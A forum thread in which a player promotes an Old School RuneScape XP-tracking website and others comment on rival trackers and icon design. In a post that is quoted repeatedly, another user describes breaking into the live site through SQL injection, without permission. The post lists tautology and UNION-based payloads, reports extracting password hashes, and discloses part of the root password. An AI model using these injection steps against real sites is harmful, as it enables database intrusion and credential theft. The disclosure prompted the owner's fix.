OSRS xp tracking website

[pankijs]

http://youtu.be/smtohPYlR3k

 

just watch video. it explains everything i want to say.

thank you :)

[Bxpprod]

http://forum.tip.it/forum/335-old-school-runescape/

[pankijs]

http://forum.tip.it/...hool-runescape/

 

i don't know, if it will be good ideo to make similar post there, maybe someone can move this thread?

[Randox]

More appropriate to the OSRS section, so moved :)

[pankijs]

More appropriate to the OSRS section, so moved :)

thank you for that :)

[UserOnRS]

Looks alright and I wish you the best of luck, but Foot's website (http://crystalmathlabs.com/tracker/) looks to be able to do everything your tracker does and more, so personally I'll stick to using that.

 

It doesn't mean there's no place for your site however; for the EOC I used both Runetrack and Runetracker, but for now your site doesn't have anything really that'll make me want to visit your site over what's already available.

[Low Levelled]

I like 07tracker

[pankijs]

Looks alright and I wish you the best of luck, but Foot's website (http://crystalmathlabs.com/tracker/) looks to be able to do everything your tracker does and more, so personally I'll stick to using that.

 

It doesn't mean there's no place for your site however; for the EOC I used both Runetrack and Runetracker, but for now your site doesn't have anything really that'll make me want to visit your site over what's already available.

 

thanks for feedback :)

my site is still in beta. like, im opened for fresh ideas and willing to make them, just name what you want to see, sigs, races, just name it. :)

[pankijs]

made some small adjustments:

now site has clean urls- http://rs07tracker.com/progress/overall/nex-is-wet/ as it should have in first place.

 

happy to announce, that few players have been asking about forum signatures to embed in forums- first thing i'll do when i have a break from finals.

[pankijs]

added goals, if someone is interested.

[pankijs]

a friend of mine drawed a design, now it looks awesome!.

[crazycdcm]

On a design note, why does it use the updated live game skill icons? :/

[pankijs]

On a design note, why does it use the updated live game skill icons? :/

 

i didn't liked the old school icons, and they are very small. also they didnt fit in design as good as new ones.

[Ammako]

Looking good, but even though I prefer the updated, live game skill icons over the Old School ones, I think that the Old School icons would be better in this case, because it's a tracker for Old School, would make more sense to have graphics from Old School.

[pankijs]

old ones are in ridiculus resolution, and new icons suits better in whole page.

old ones looks like this-

(29x29 px)

[Ammako]

Surely we can get someone to manually fix them?

 

Although it's quite funny that the two current live game trackers use the old school skill icons, while your Old School tracker uses the live game skill icons.

[crazycdcm]

old ones are in ridiculus resolution, and new icons suits better in whole page.

old ones looks like this-

(29x29 px)

 

The old ones can look nice too.

[crazycdcm]

Well, out of some spare time, here is the set of oldshool icons, as a sprite - vertically centred and on a 35px horizontal grid, on transparent background For anyone who ever may have need for them!

 

 

E: this version is better, a few pixels were on vacation in the last version..

 

E_²: Forgot overall.

[Foot]

..

[crazycdcm]

Thanks a lot for this. I really learned a lot of SQL injection from using this website.

 

"View your prog" injection:

The following shows all data points in your database in a single choppy graph

alkan' or '1'='1

 

Combines the graph of alkan and leyatis in one!

alkan' or Name='leyatis

 

"Goals" search injection:

Shows all goals in the search list

' or '1'='1

' union select * from goals where '1'='1

 

After the query above, I started doing

' union select all 1,2,'a <FAIL

then

' union select all 1,2,3,'a <FAIL

then

' union select all 1,2,3,4,'a <FAIL

until finally this worked

' union select all 1,2,3,4,5,6,7,'a <WIN

Since it displayed 2 and 3 on the website, all I had to do is substitute the 2 or 3 with something like user(),@@version, or database(), and I could extract anything I wanted from your database. I even obtained 3 database usernames and password hashes. The password to root@localhost starts with "ca". I really suggest filtering your input a bit more to avoid more of this.

oh dear..

[pankijs]

Thanks a lot for this. I really learned a lot of SQL injection from using this website.

 

"View your prog" injection:

The following shows all data points in your database in a single choppy graph

alkan' or '1'='1

 

Combines the graph of alkan and leyatis in one!

alkan' or Name='leyatis

 

"Goals" search injection:

Shows all goals in the search list

' or '1'='1

' union select * from goals where '1'='1

 

After the query above, I started doing

' union select all 1,2,'a <FAIL

then

' union select all 1,2,3,'a <FAIL

then

' union select all 1,2,3,4,'a <FAIL

until finally this worked

' union select all 1,2,3,4,5,6,7,'a <WIN

Since it displayed 2 and 3 on the website, all I had to do is substitute the 2 or 3 with something like user(),@@version, or database(), and I could extract anything I wanted from your database. I even obtained 3 database usernames and password hashes. The password to root@localhost starts with "ca". I really suggest filtering your input a bit more to avoid more of this.

 

oh sh1t.

thanks man, you helped a lot, i completely forgot to escape mysql strings.

begginners mistakes.

 

fixed now though.

[Foot]

Thanks a lot for this. I really learned a lot of SQL injection from using this website.

 

"View your prog" injection:

The following shows all data points in your database in a single choppy graph

alkan' or '1'='1

 

Combines the graph of alkan and leyatis in one!

alkan' or Name='leyatis

 

"Goals" search injection:

Shows all goals in the search list

' or '1'='1

' union select * from goals where '1'='1

 

After the query above, I started doing

' union select all 1,2,'a <FAIL

then

' union select all 1,2,3,'a <FAIL

then

' union select all 1,2,3,4,'a <FAIL

until finally this worked

' union select all 1,2,3,4,5,6,7,'a <WIN

Since it displayed 2 and 3 on the website, all I had to do is substitute the 2 or 3 with something like user(),@@version, or database(), and I could extract anything I wanted from your database. I even obtained 3 database usernames and password hashes. The password to root@localhost starts with "ca". I really suggest filtering your input a bit more to avoid more of this.

 

oh sh1t.

thanks man, you helped a lot, i completely forgot to escape mysql strings.

begginners mistakes.

 

fixed now though.

Not a problem. I had a lot of fun.